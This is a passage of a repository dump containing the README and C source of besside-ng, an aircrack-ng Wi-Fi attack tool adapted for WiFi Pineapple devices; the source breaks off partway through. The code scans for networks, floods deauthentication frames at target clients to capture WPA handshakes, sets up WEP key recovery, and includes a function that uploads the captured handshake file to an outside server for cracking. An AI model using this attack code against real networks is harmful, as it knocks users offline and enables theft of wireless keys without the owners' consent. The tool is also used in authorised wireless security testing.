├── README.md ├── besside-ng ├── besside-ng-crawler ├── besside-ng.c ├── buddy-ng ├── easside-ng └── wesside-ng /README.md: -------------------------------------------------------------------------------- 1 | # besside-ng_pineapple 2 | Part of the aircrack-ng (experimental version) for the WiFi Pineapples, with custom scripts. 3 | For OpenWRT 19.07 (Pineapple firmware > 2.6) 4 | 5 | besside-ng 1.6 - (C) 2019 Andreas Nilsen 6 | Modified for WiFi Pineapple + 5GHz Support (autochannel detection) + WEP only + custom IV num 7 | http://www.aircrack-ng.org - https://github.com/adde88 8 | 9 | Usage: ./besside-ng [options] 10 | 11 | Options: 12 | 13 | -b : Victim BSSID 14 | -R : Victim ESSID regex 15 | -s : Upload wpa.cap for cracking 16 | -c : chanlock 17 | -p : flood rate 18 | -W : WPA only 19 | -w : WEP only 20 | -v : verbose, -vv for more, etc. 21 | -h : This help screen 22 | -w : WEP only 23 | -C : Start WEP cracking at IV's 24 | : Default is 5000 IV's 25 | -------------------------------------------------------------------------------- /besside-ng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/adde88/besside-ng_pineapple/653a3f26143c6b0af7eb971dd495a41704287e94/besside-ng -------------------------------------------------------------------------------- /besside-ng-crawler: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/adde88/besside-ng_pineapple/653a3f26143c6b0af7eb971dd495a41704287e94/besside-ng-crawler -------------------------------------------------------------------------------- /besside-ng.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2010 Andrea Bittau 3 | * 4 | * This program is free software; you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation; either version 2 of the License, or 7 | * (at your option) any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program; if not, write to the Free Software 16 | * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA 17 | * 18 | * 19 | * In addition, as a special exception, the copyright holders give 20 | * permission to link the code of portions of this program with the 21 | * OpenSSL library under certain conditions as described in each 22 | * individual source file, and distribute linked combinations 23 | * including the two. 24 | * You must obey the GNU General Public License in all respects 25 | * for all of the code used other than OpenSSL. * If you modify 26 | * file(s) with this exception, you may extend this exception to your 27 | * version of the file(s), but you are not obligated to do so. * If you 28 | * do not wish to do so, delete this exception statement from your 29 | * version. * If you delete this exception statement from all source 30 | * files in the program, then also delete it here. 31 | */ 32 | 33 | #ifdef HAVE_CONFIG_H 34 | #include "config.h" 35 | #endif 36 | 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | #include 59 | 60 | #ifdef HAVE_PCRE 61 | #include 62 | #endif 63 | 64 | #include "aircrack-ng/defs.h" 65 | #include "aircrack-ng/aircrack-ng.h" 66 | #include "aircrack-ng/version.h" 67 | #include "aircrack-ng/support/communications.h" 68 | #include "aircrack-ng/ptw/aircrack-ptw-lib.h" 69 | #include "aircrack-ng/osdep/osdep.h" 70 | #include "aircrack-ng/third-party/ieee80211.h" 71 | #include "aircrack-ng/crypto/crypto.h" 72 | #include "aircrack-ng/support/pcap_local.h" 73 | #include "aircrack-ng/tui/console.h" 74 | #include "aircrack-ng/support/common.h" 75 | 76 | static int PTW_DEFAULTBF[PTW_KEYHSBYTES] 77 | = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 78 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; 79 | 80 | enum 81 | { 82 | STATE_SCAN = 0, 83 | STATE_ATTACK, 84 | STATE_DONE, 85 | }; 86 | 87 | enum 88 | { 89 | CRYPTO_NONE = 0, 90 | CRYPTO_WEP, 91 | CRYPTO_WPA, 92 | CRYPTO_WPA_MGT, 93 | }; 94 | 95 | enum 96 | { 97 | ASTATE_NONE = 0, 98 | ASTATE_PING, 99 | ASTATE_READY, 100 | 101 | ASTATE_DEAUTH, 102 | ASTATE_WPA_CRACK, 103 | 104 | ASTATE_WEP_PRGA_GET, 105 | ASTATE_WEP_FLOOD, 106 | 107 | ASTATE_DONE, 108 | ASTATE_UNREACH, 109 | }; 110 | 111 | enum 112 | { 113 | WSTATE_NONE = 0, 114 | WSTATE_AUTH, 115 | WSTATE_ASSOC, 116 | }; 117 | 118 | enum 119 | { 120 | V_NORMAL = 0, 121 | V_VERBOSE, 122 | }; 123 | 124 | struct cracker; 125 | struct network; 126 | 127 | typedef void (*timer_cb)(void *); 128 | typedef void (*cracker_cb)(struct cracker *, struct network * n); 129 | typedef int (*check_cb)(struct network * n); 130 | 131 | struct channel 132 | { 133 | int c_num; 134 | struct channel * c_next; 135 | }; 136 | 137 | static struct conf 138 | { 139 | char * cf_ifname; 140 | struct channel cf_channels; 141 | int cf_autochan; 142 | int cf_hopfreq; 143 | int cf_deauthfreq; 144 | unsigned char * cf_bssid; 145 | int cf_attackwait; 146 | int cf_floodwait; 147 | char * cf_wordlist; 148 | int cf_verb; 149 | int cf_to; 150 | int cf_floodfreq; 151 | int cf_crack_int; 152 | char * cf_wpa; 153 | char * cf_wep; 154 | char * cf_log; 155 | int cf_do_wep; 156 | int cf_do_wpa; 157 | char * cf_wpa_server; 158 | #ifdef HAVE_PCRE 159 | pcre * cf_essid_regex; 160 | #endif 161 | } _conf; 162 | 163 | struct timer 164 | { 165 | struct timeval t_tv; 166 | timer_cb t_cb; 167 | void * t_arg; 168 | struct timer * t_next; 169 | }; 170 | 171 | struct packet 172 | { 173 | unsigned char p_data[2048]; 174 | int p_len; 175 | }; 176 | 177 | struct client 178 | { 179 | unsigned char c_mac[6]; 180 | int c_wpa; 181 | int c_wpa_got; 182 | int c_dbm; 183 | struct packet c_handshake[4]; 184 | struct client * c_next; 185 | }; 186 | 187 | struct speed 188 | { 189 | unsigned int s_num; 190 | struct timeval s_start; 191 | unsigned int s_speed; 192 | }; 193 | 194 | struct cracker 195 | { 196 | int cr_pid; 197 | int cr_pipe[2]; 198 | }; 199 | 200 | struct network 201 | { 202 | char n_ssid[256]; 203 | unsigned char n_bssid[6]; 204 | int n_crypto; 205 | int n_chan; 206 | struct network * n_next; 207 | struct timeval n_start; 208 | int n_have_beacon; 209 | struct client n_clients; 210 | int n_astate; 211 | int n_wstate; 212 | unsigned short n_seq; 213 | int n_dbm; 214 | int n_ping_sent; 215 | int n_ping_got; 216 | int n_attempts; 217 | unsigned char n_prga[2048]; 218 | int n_prga_len; 219 | unsigned char n_replay[2048]; 220 | int n_replay_len; 221 | int n_replay_got; 222 | struct timeval n_replay_last; 223 | struct speed n_flood_in; 224 | struct speed n_flood_out; 225 | int n_data_count; 226 | int n_crack_next; 227 | PTW_attackstate * n_ptw; 228 | struct cracker n_cracker_wep[2]; 229 | unsigned char n_key[64]; 230 | int n_key_len; 231 | struct packet n_beacon; 232 | int n_beacon_wrote; 233 | struct client * n_client_handshake; 234 | int n_mac_filter; 235 | struct client * n_client_mac; 236 | int n_got_mac; 237 | }; 238 | 239 | static struct state 240 | { 241 | struct wif * s_wi; 242 | int s_state; 243 | struct timeval s_now; 244 | struct timeval s_start; 245 | struct network s_networks; 246 | struct network * s_curnet; 247 | struct channel * s_hopchan; 248 | unsigned int s_hopcycles; 249 | int s_chan; 250 | unsigned char s_mac[6]; 251 | struct timer s_timers; 252 | struct rx_info * s_ri; 253 | int s_wpafd; 254 | int s_wepfd; 255 | } _state; 256 | 257 | static void attack_continue(struct network * n); 258 | static void attack(struct network * n); 259 | static void autodetect_channels(void); 260 | 261 | void show_wep_stats(int UNUSED(B), 262 | int UNUSED(force), 263 | PTW_tableentry UNUSED(table[PTW_KEYHSBYTES][PTW_n]), 264 | int UNUSED(choices[KEYHSBYTES]), 265 | int UNUSED(depth[KEYHSBYTES]), 266 | int UNUSED(prod)) 267 | { 268 | } 269 | 270 | static void time_printf(int verb, char * fmt, ...) 271 | { 272 | time_t now = _state.s_now.tv_sec; 273 | struct tm * t; 274 | va_list ap; 275 | 276 | if (verb > _conf.cf_verb) return; 277 | 278 | t = localtime(&now); 279 | if (!t) err(1, "localtime()"); 280 | 281 | erase_line(0); 282 | printf("[%.2d:%.2d:%.2d] ", t->tm_hour, t->tm_min, t->tm_sec); 283 | 284 | va_start(ap, fmt); 285 | vprintf(fmt, ap); 286 | va_end(ap); 287 | } 288 | 289 | static void cracker_kill(struct cracker * c) 290 | { 291 | REQUIRE(c != NULL); 292 | 293 | if (c->cr_pid) 294 | { 295 | kill(c->cr_pid, SIGKILL); 296 | 297 | if (c->cr_pipe[0]) close(c->cr_pipe[0]); 298 | } 299 | 300 | memset(c, 0, sizeof(*c)); 301 | } 302 | 303 | static void save_network(FILE * f, struct network * n) 304 | { 305 | REQUIRE(f != NULL); 306 | REQUIRE(n != NULL); 307 | 308 | int len; 309 | 310 | if (n->n_crypto != CRYPTO_WPA && n->n_crypto != CRYPTO_WEP) return; 311 | 312 | if (!n->n_have_beacon) return; 313 | 314 | if (n->n_astate != ASTATE_DONE) return; 315 | 316 | len = strlen(n->n_ssid); 317 | 318 | fprintf(f, "%s", n->n_ssid); 319 | 320 | while (len++ < 20) fprintf(f, " "); 321 | 322 | fprintf(f, "| "); 323 | len = 0; 324 | if (n->n_key_len) 325 | { 326 | for (len = 0; len < n->n_key_len; len++) 327 | { 328 | if (len != 0) fprintf(f, ":"); 329 | 330 | fprintf(f, "%.2x", n->n_key[len]); 331 | } 332 | 333 | len = n->n_key_len * 3 - 1; 334 | } 335 | 336 | if (n->n_client_handshake) 337 | { 338 | fprintf(f, "Got WPA handshake"); 339 | len = 17; 340 | } 341 | 342 | if (n->n_astate == ASTATE_UNREACH) 343 | { 344 | fprintf(f, "Crappy connection"); 345 | len = 17; 346 | } 347 | 348 | while (len++ < 38) fprintf(f, " "); 349 | 350 | char * mac_bssid = mac2string(n->n_bssid); 351 | ALLEGE(mac_bssid != NULL); 352 | fprintf(f, " | %s", mac_bssid); 353 | free(mac_bssid); 354 | 355 | fprintf(f, " | "); 356 | if (n->n_got_mac) 357 | { 358 | char * mac_c = mac2string(n->n_client_mac->c_mac); 359 | ALLEGE(mac_c != NULL); 360 | fprintf(f, "%s", mac_c); 361 | free(mac_c); 362 | } 363 | 364 | fprintf(f, "\n"); 365 | } 366 | 367 | static void save_log(void) 368 | { 369 | FILE * f; 370 | struct network * n = _state.s_networks.n_next; 371 | 372 | f = fopen(_conf.cf_log, "w"); 373 | if (!f) err(1, "fopen()"); 374 | 375 | fprintf(f, "# SSID "); 376 | fprintf(f, "| KEY | BSSID"); 377 | fprintf(f, " | MAC filter\n"); 378 | 379 | while (n) 380 | { 381 | save_network(f, n); 382 | n = n->n_next; 383 | } 384 | 385 | fclose(f); 386 | } 387 | 388 | static inline void do_wait(int UNUSED(x)) { wait(NULL); } 389 | 390 | static inline void * xmalloc(size_t sz) 391 | { 392 | void * p = malloc(sz); 393 | 394 | if (!p) err(1, "malloc()"); 395 | 396 | return p; 397 | } 398 | 399 | static void timer_next(struct timeval * tv) 400 | { 401 | REQUIRE(tv != NULL); 402 | 403 | struct timer * t = _state.s_timers.t_next; 404 | int diff; 405 | 406 | if (!t) 407 | { 408 | tv->tv_sec = 1; 409 | tv->tv_usec = 0; 410 | return; 411 | } 412 | 413 | diff = time_diff(&_state.s_now, &t->t_tv); 414 | if (diff <= 0) 415 | { 416 | tv->tv_sec = 0; 417 | tv->tv_usec = 0; 418 | return; 419 | } 420 | 421 | tv->tv_sec = diff / (1000 * 1000); 422 | tv->tv_usec = diff - (tv->tv_sec * 1000 * 1000); 423 | } 424 | 425 | static void timer_in(int us, timer_cb cb, void * arg) 426 | { 427 | struct timer * t = xmalloc(sizeof(*t)); 428 | struct timer * p = &_state.s_timers; 429 | int s; 430 | 431 | memset(t, 0, sizeof(*t)); 432 | 433 | t->t_cb = cb; 434 | t->t_arg = arg; 435 | t->t_tv = _state.s_now; 436 | 437 | t->t_tv.tv_usec += us; 438 | 439 | s = t->t_tv.tv_usec / (1000 * 1000); 440 | t->t_tv.tv_sec += s; 441 | t->t_tv.tv_usec -= s * 1000 * 1000; 442 | 443 | while (p->t_next) 444 | { 445 | if (time_diff(&t->t_tv, &p->t_next->t_tv) > 0) break; 446 | 447 | p = p->t_next; 448 | } 449 | 450 | t->t_next = p->t_next; 451 | p->t_next = t; 452 | } 453 | 454 | static void timer_check(void) 455 | { 456 | while (_state.s_timers.t_next) 457 | { 458 | struct timer * t = _state.s_timers.t_next; 459 | 460 | if (time_diff(&t->t_tv, &_state.s_now) < 0) break; 461 | 462 | _state.s_timers.t_next = t->t_next; 463 | 464 | t->t_cb(t->t_arg); 465 | 466 | free(t); 467 | } 468 | } 469 | 470 | static unsigned char * get_bssid(struct ieee80211_frame * wh) 471 | { 472 | REQUIRE(wh != NULL); 473 | 474 | int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; 475 | uint16_t * p = (uint16_t *) (wh + 1); 476 | 477 | if (type == IEEE80211_FC0_TYPE_CTL) return (NULL); 478 | 479 | if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) 480 | return (wh->i_addr1); 481 | else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) 482 | return (wh->i_addr2); 483 | 484 | // XXX adhoc? 485 | if (type == IEEE80211_FC0_TYPE_DATA) return (wh->i_addr1); 486 | 487 | switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) 488 | { 489 | case IEEE80211_FC0_SUBTYPE_ASSOC_REQ: 490 | case IEEE80211_FC0_SUBTYPE_REASSOC_REQ: 491 | case IEEE80211_FC0_SUBTYPE_DISASSOC: 492 | return (wh->i_addr1); 493 | 494 | case IEEE80211_FC0_SUBTYPE_AUTH: 495 | /* XXX check len */ 496 | switch (le16toh(p[1])) 497 | { 498 | case 1: 499 | case 3: 500 | return (wh->i_addr1); 501 | 502 | case 2: 503 | case 4: 504 | return (wh->i_addr2); 505 | } 506 | return (NULL); 507 | 508 | case IEEE80211_FC0_SUBTYPE_ASSOC_RESP: 509 | case IEEE80211_FC0_SUBTYPE_REASSOC_RESP: 510 | case IEEE80211_FC0_SUBTYPE_PROBE_RESP: 511 | case IEEE80211_FC0_SUBTYPE_BEACON: 512 | case IEEE80211_FC0_SUBTYPE_DEAUTH: 513 | return (wh->i_addr2); 514 | 515 | case IEEE80211_FC0_SUBTYPE_PROBE_REQ: 516 | default: 517 | return (NULL); 518 | } 519 | } 520 | 521 | static struct network * network_get(struct ieee80211_frame * wh) 522 | { 523 | struct network * n = _state.s_networks.n_next; 524 | unsigned char * bssid = get_bssid(wh); 525 | 526 | if (!bssid) return (NULL); 527 | 528 | while (n) 529 | { 530 | if (memcmp(n->n_bssid, bssid, sizeof(n->n_bssid)) == 0) return (n); 531 | 532 | n = n->n_next; 533 | } 534 | 535 | return (NULL); 536 | } 537 | 538 | static struct network * network_new(void) 539 | { 540 | struct network * n = xmalloc(sizeof(*n)); 541 | 542 | memset(n, 0, sizeof(*n)); 543 | n->n_crack_next = _conf.cf_crack_int; 544 | 545 | return (n); 546 | } 547 | 548 | static void do_network_add(struct network * n) 549 | { 550 | struct network * p = &_state.s_networks; 551 | 552 | while (p->n_next) p = p->n_next; 553 | 554 | p->n_next = n; 555 | } 556 | 557 | static struct network * network_add(struct ieee80211_frame * wh) 558 | { 559 | struct network * n; 560 | unsigned char * bssid = get_bssid(wh); 561 | 562 | if (!bssid) return (NULL); 563 | 564 | n = network_new(); 565 | 566 | memcpy(n->n_bssid, bssid, sizeof(n->n_bssid)); 567 | 568 | do_network_add(n); 569 | 570 | return (n); 571 | } 572 | 573 | static inline void print_hex(void * p, int len) 574 | { 575 | REQUIRE(p != NULL); 576 | 577 | unsigned char * x = p; 578 | 579 | while (len--) 580 | { 581 | printf("%.2x", *x++); 582 | if (len) printf(":"); 583 | } 584 | } 585 | 586 | static void network_print(struct network * n) 587 | { 588 | REQUIRE(n != NULL); 589 | 590 | const char * crypto = "dunno"; 591 | 592 | switch (n->n_crypto) 593 | { 594 | case CRYPTO_NONE: 595 | crypto = "none"; 596 | break; 597 | 598 | case CRYPTO_WEP: 599 | crypto = "WEP"; 600 | break; 601 | 602 | case CRYPTO_WPA: 603 | crypto = "WPA"; 604 | break; 605 | 606 | case CRYPTO_WPA_MGT: 607 | crypto = "WPA-SECURE"; 608 | break; 609 | } 610 | 611 | char * mac = mac2string(n->n_bssid); 612 | ALLEGE(mac != NULL); 613 | time_printf(V_VERBOSE, 614 | "Found AP %s [%s] chan %d crypto %s dbm %d\n", 615 | mac, 616 | n->n_ssid, 617 | n->n_chan, 618 | crypto, 619 | n->n_dbm); 620 | free(mac); 621 | } 622 | 623 | static void channel_set(int num) 624 | { 625 | if (wi_set_channel(_state.s_wi, num) == -1) err(1, "wi_set_channel()"); 626 | 627 | _state.s_chan = num; 628 | } 629 | 630 | static void fill_basic(struct network * n, struct ieee80211_frame * wh) 631 | { 632 | REQUIRE(n != NULL); 633 | REQUIRE(wh != NULL); 634 | 635 | uint16_t * p; 636 | 637 | memset(wh, 0, sizeof(*wh)); 638 | 639 | p = (uint16_t *) wh->i_dur; 640 | *p = htole16(32767); 641 | 642 | p = (uint16_t *) wh->i_seq; 643 | *p = fnseq(0, n->n_seq++); 644 | } 645 | 646 | static void wifi_send(void * p, int len) 647 | { 648 | int rc; 649 | struct tx_info tx; 650 | 651 | memset(&tx, 0, sizeof(tx)); 652 | 653 | rc = wi_write(_state.s_wi, NULL, LINKTYPE_IEEE802_11, p, len, &tx); 654 | if (rc == -1) err(1, "wi_write()"); 655 | } 656 | 657 | static void deauth_send(struct network * n, unsigned char * mac) 658 | { 659 | REQUIRE(n != NULL); 660 | REQUIRE(mac != NULL); 661 | 662 | unsigned char buf[2048]; 663 | struct ieee80211_frame * wh = (struct ieee80211_frame *) buf; 664 | uint16_t * rc = (uint16_t *) (wh + 1); 665 | 666 | fill_basic(n, wh); 667 | memcpy(wh->i_addr1, mac, sizeof(wh->i_addr1)); 668 | memcpy(wh->i_addr2, n->n_bssid, sizeof(wh->i_addr2)); 669 | memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3)); 670 | 671 | wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_DEAUTH; 672 | 673 | *rc++ = htole16(7); 674 | 675 | char * mac_p = mac2string(mac); 676 | ALLEGE(mac_p != NULL); 677 | time_printf(V_VERBOSE, "Sending deauth to %s\n", mac_p); 678 | free(mac_p); 679 | 680 | wifi_send(wh, (unsigned long) rc - (unsigned long) wh); 681 | } 682 | 683 | static void deauth(void * arg) 684 | { 685 | REQUIRE(arg != NULL); 686 | 687 | struct network * n = arg; 688 | struct client * c = n->n_clients.c_next; 689 | 690 | if (_state.s_state != STATE_ATTACK || _state.s_curnet != n 691 | || n->n_astate != ASTATE_DEAUTH) 692 | return; 693 | 694 | deauth_send(n, BROADCAST); 695 | 696 | while (c) 697 | { 698 | deauth_send(n, c->c_mac); 699 | c = c->c_next; 700 | } 701 | 702 | timer_in(_conf.cf_deauthfreq * 1000, deauth, n); 703 | } 704 | 705 | static int open_pcap(char * fname) 706 | { 707 | REQUIRE(fname != NULL); 708 | 709 | int fd; 710 | struct pcap_file_header pfh; 711 | 712 | fd = open(fname, O_RDWR | O_APPEND); 713 | if (fd != -1) 714 | { 715 | time_printf(V_NORMAL, "Appending to %s\n", fname); 716 | return (fd); 717 | } 718 | 719 | memset(&pfh, 0, sizeof(pfh)); 720 | pfh.magic = TCPDUMP_MAGIC; 721 | pfh.version_major = PCAP_VERSION_MAJOR; 722 | pfh.version_minor = PCAP_VERSION_MINOR; 723 | pfh.thiszone = 0; 724 | pfh.sigfigs = 0; 725 | pfh.snaplen = 65535; 726 | pfh.linktype = LINKTYPE_IEEE802_11; 727 | 728 | fd = open(fname, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); 729 | if (fd == -1) err(1, "open(%s)", fname); 730 | 731 | if (write(fd, &pfh, sizeof(pfh)) != sizeof(pfh)) err(1, "write()"); 732 | 733 | return (fd); 734 | } 735 | 736 | static void write_pcap(int fd, void * p, int len) 737 | { 738 | REQUIRE(fd != -1); 739 | REQUIRE(p != NULL); 740 | 741 | struct pcap_pkthdr pkh; 742 | 743 | memset(&pkh, 0, sizeof(pkh)); 744 | 745 | pkh.caplen = pkh.len = len; 746 | pkh.tv_sec = _state.s_now.tv_sec; 747 | pkh.tv_usec = _state.s_now.tv_usec; 748 | 749 | if (write(fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()"); 750 | 751 | if (write(fd, p, len) != len) err(1, "write()"); 752 | } 753 | 754 | static inline void packet_write_pcap(int fd, struct packet * p) 755 | { 756 | REQUIRE(fd != -1); 757 | REQUIRE(p != NULL); 758 | 759 | write_pcap(fd, p->p_data, p->p_len); 760 | } 761 | 762 | static void wpa_upload(void) 763 | { 764 | struct sockaddr_in s_in; 765 | int s; 766 | char buf[4096]; 767 | char boundary[128]; 768 | char h1[1024]; 769 | char form[1024]; 770 | struct stat stat; 771 | off_t off; 772 | int tot; 773 | int ok = 0; 774 | 775 | memset(&s_in, 0, sizeof(s_in)); 776 | 777 | s_in.sin_family = PF_INET; 778 | s_in.sin_port = htons(80); 779 | 780 | if (inet_aton(_conf.cf_wpa_server, &s_in.sin_addr) == 0) 781 | { 782 | struct hostent * he; 783 | 784 | he = gethostbyname(_conf.cf_wpa_server); 785 | if (!he) goto __no_resolve; 786 | 787 | if (!he->h_addr_list[0]) 788 | { 789 | __no_resolve: 790 | time_printf(V_NORMAL, "Can't resolve %s\n", _conf.cf_wpa_server); 791 | return; 792 | } 793 | 794 | memcpy(&s_in.sin_addr, he->h_addr_list[0], 4); 795 | } 796 | 797 | if ((s = socket(s_in.sin_family, SOCK_STREAM, 0)) == -1) err(1, "socket()"); 798 | 799 | if (connect(s, (struct sockaddr *) &s_in, sizeof(s_in)) == -1) 800 | { 801 | time_printf(V_NORMAL, "Can't connect to %s\n", _conf.cf_wpa_server); 802 | 803 | close(s); 804 | return; 805 | } 806 | 807 | if (fstat(_state.s_wpafd, &stat) == -1) err(1, "fstat()"); 808 | 809 | snprintf(boundary, sizeof(boundary), "37872861916401860062104501923"); 810 | 811 | snprintf(h1, 812 | sizeof(h1), 813 | "--%s\r\n" 814 | "Content-Disposition: form-data;" 815 | " name=\"file\";" 816 | " filename=\"wpa.cap\"\r\n" 817 | "Content-Type: application/octet-stream\r\n\r\n", 818 | boundary); 819 | 820 | snprintf(form, 821 | sizeof(form), 822 | "\r\n" 823 | "--%s\r\n" 824 | "Content-Disposition: form-data;" 825 | " name=\"fs\"\r\n\r\n" 826 | "Upload" 827 | "\r\n" 828 | "%s--\r\n", 829 | boundary, 830 | boundary); 831 | 832 | tot = stat.st_size; 833 | 834 | snprintf(buf, 835 | sizeof(buf), 836 | "POST /index.php HTTP/1.0\r\n" 837 | "Host: %s\r\n" 838 | "User-Agent: besside-ng\r\n" 839 | "Content-Type: multipart/form-data; boundary=%s\r\n" 840 | "Content-Length: %d\r\n\r\n", 841 | _conf.cf_wpa_server, 842 | boundary, 843 | (int) (strlen(h1) + strlen(form) + tot)); 844 | 845 | if (write(s, buf, strlen(buf)) != (int) strlen(buf)) goto __fail; 846 | 847 | if (write(s, h1, strlen(h1)) != (int) strlen(h1)) goto __fail; 848 | 849 | if ((off = lseek(_state.s_wpafd, 0, SEEK_CUR)) == (off_t) -1) 850 | err(1, "lseek()"); 851 | 852 | if (lseek(_state.s_wpafd, 0, SEEK_SET) == (off_t) -1) err(1, "lseek()"); 853 | 854 | while (tot) 855 | { 856 | int l = tot; 857 | 858 | if (l > (int) sizeof(buf)) l = sizeof(buf); 859 | 860 | if (read(_state.s_wpafd, buf, l) != l) err(1, "read()"); 861 | 862 | if (write(s, buf, l) != l) goto __fail; 863 | 864 | tot -= l; 865 | } 866 | 867 | if (write(s, form, strlen(form)) != (int) strlen(form)) goto __fail; 868 | 869 | if (lseek(_state.s_wpafd, off, SEEK_SET) == (off_t) -1) err(1, "lseek()"); 870 | 871 | while ((tot = read(s, buf, sizeof(buf) - 1)) > 0) 872 | { 873 | char * p; 874 | 875 | buf[tot] = 0; 876 | 877 | p = strstr(buf, "\r\n\r\n"); 878 | if (!p) goto __fail; 879 | 880 | p += 4; 881 | 882 | if (atoi(p) == 2) 883 | ok = 1; 884 | else 885 | goto __fail; 886 | } 887 | 888 | if (!ok) goto __fail; 889 | 890 | close(s); 891 | 892 | time_printf( 893 | V_NORMAL, "Uploaded WPA handshake to %s\n", _conf.cf_wpa_server); 894 | 895 | return; 896 | __fail: 897 | close(s); 898 | time_printf(V_NORMAL, "WPA handshake upload failed\n"); 899 | } 900 | 901 | static void wpa_crack(struct network * n) 902 | { 903 | REQUIRE(n != NULL); 904 | 905 | int i; 906 | 907 | packet_write_pcap(_state.s_wpafd, &n->n_beacon); 908 | 909 | for (i = 0; i < 4; i++) 910 | { 911 | struct packet * p = &n->n_client_handshake->c_handshake[i]; 912 | 913 | if (p->p_len) packet_write_pcap(_state.s_wpafd, p); 914 | } 915 | 916 | fsync(_state.s_wpafd); 917 | 918 | if (_conf.cf_wpa_server) 919 | wpa_upload(); 920 | else 921 | { 922 | time_printf(V_NORMAL, "Run aircrack on %s for WPA key\n", _conf.cf_wpa); 923 | } 924 | 925 | /* that was fast cracking! */ 926 | n->n_astate = ASTATE_DONE; 927 | 928 | attack_continue(n); 929 | } 930 | 931 | static void attack_wpa(struct network * n) 932 | { 933 | REQUIRE(n != NULL); 934 | 935 | switch (n->n_astate) 936 | { 937 | case ASTATE_READY: 938 | n->n_astate = ASTATE_DEAUTH; 939 | /* fallthrough */ 940 | case ASTATE_DEAUTH: 941 | deauth(n); 942 | break; 943 | 944 | case ASTATE_WPA_CRACK: 945 | wpa_crack(n); 946 | break; 947 | } 948 | } 949 | 950 | static void hop(void * arg) 951 | { 952 | int old = _state.s_chan; 953 | 954 | if (_state.s_state != STATE_SCAN) return; 955 | 956 | while (1) 957 | { 958 | struct channel * c = _state.s_hopchan->c_next; 959 | 960 | if (c->c_num == old) break; 961 | 962 | // skip unsupported chan. XXX check if we run out. 963 | if (wi_set_channel(_state.s_wi, c->c_num) == -1) 964 | { 965 | _state.s_hopchan->c_next = c->c_next; 966 | free(c); 967 | } 968 | else 969 | break; 970 | } 971 | 972 | _state.s_hopchan = _state.s_hopchan->c_next; 973 | _state.s_chan = _state.s_hopchan->c_num; 974 | 975 | // XXX assume we don't lose head 976 | if (_state.s_hopchan == _conf.cf_channels.c_next) _state.s_hopcycles++; 977 | 978 | timer_in(_conf.cf_hopfreq * 1000, hop, arg); 979 | } 980 | 981 | static void scan_start(void) 982 | { 983 | _state.s_state = STATE_SCAN; 984 | _state.s_hopcycles = 0; 985 | 986 | hop(NULL); /* XXX check other hopper */ 987 | } 988 | 989 | static void send_auth(struct network * n) 990 | { 991 | REQUIRE(n != NULL); 992 | 993 | unsigned char buf[2048]; 994 | struct ieee80211_frame * wh = (struct ieee80211_frame *) buf; 995 | uint16_t * rc = (uint16_t *) (wh + 1); 996 | 997 | fill_basic(n, wh); 998 | memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1)); 999 | memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2)); 1000 | memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3)); 1001 | 1002 | wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH; 1003 | 1004 | *rc++ = htole16(0); 1005 | *rc++ = htole16(1); 1006 | *rc++ = htole16(0); 1007 | 1008 | wifi_send(wh, (int) ((intptr_t) rc - (intptr_t) wh)); 1009 | } 1010 | 1011 | static void ping_send(struct network * n) 1012 | { 1013 | REQUIRE(n != NULL); 1014 | 1015 | send_auth(n); 1016 | 1017 | time_printf(V_VERBOSE, "Sending ping to %s\n", n->n_ssid); 1018 | 1019 | n->n_ping_sent++; 1020 | } 1021 | 1022 | static void ping_reply(struct network * n, struct ieee80211_frame * wh) 1023 | { 1024 | REQUIRE(wh != NULL); 1025 | 1026 | uint16_t * p = (uint16_t *) (wh + 1); 1027 | 1028 | if (le16toh(p[1]) == 2) 1029 | { 1030 | REQUIRE(n != NULL); 1031 | 1032 | time_printf(V_VERBOSE, "Ping reply %s\n", n->n_ssid); 1033 | n->n_ping_got++; 1034 | } 1035 | } 1036 | 1037 | static void set_mac(void * mac) 1038 | { 1039 | REQUIRE(mac != NULL); 1040 | 1041 | if (memcmp(mac, _state.s_mac, 6) == 0) return; 1042 | #if 0 1043 | if (wi_set_mac(_state.s_wi, mac) == -1) 1044 | err(1, "wi_set_mac()"); 1045 | #endif 1046 | 1047 | char * mac_p = mac2string(mac); 1048 | ALLEGE(mac_p != NULL); 1049 | time_printf(V_VERBOSE, 1050 | "Can't set MAC - this'll suck." 1051 | " Set it manually to %s for best performance.\n", 1052 | mac_p); 1053 | free(mac_p); 1054 | 1055 | memcpy(_state.s_mac, mac, 6); 1056 | } 1057 | 1058 | static int have_mac(struct network * n) 1059 | { 1060 | REQUIRE(n != NULL); 1061 | 1062 | if (!n->n_mac_filter) return (1); 1063 | 1064 | /* XXX try different clients based on feedback */ 1065 | if (!n->n_client_mac) n->n_client_mac = n->n_clients.c_next; 1066 | 1067 | if (!n->n_client_mac) return (0); 1068 | 1069 | 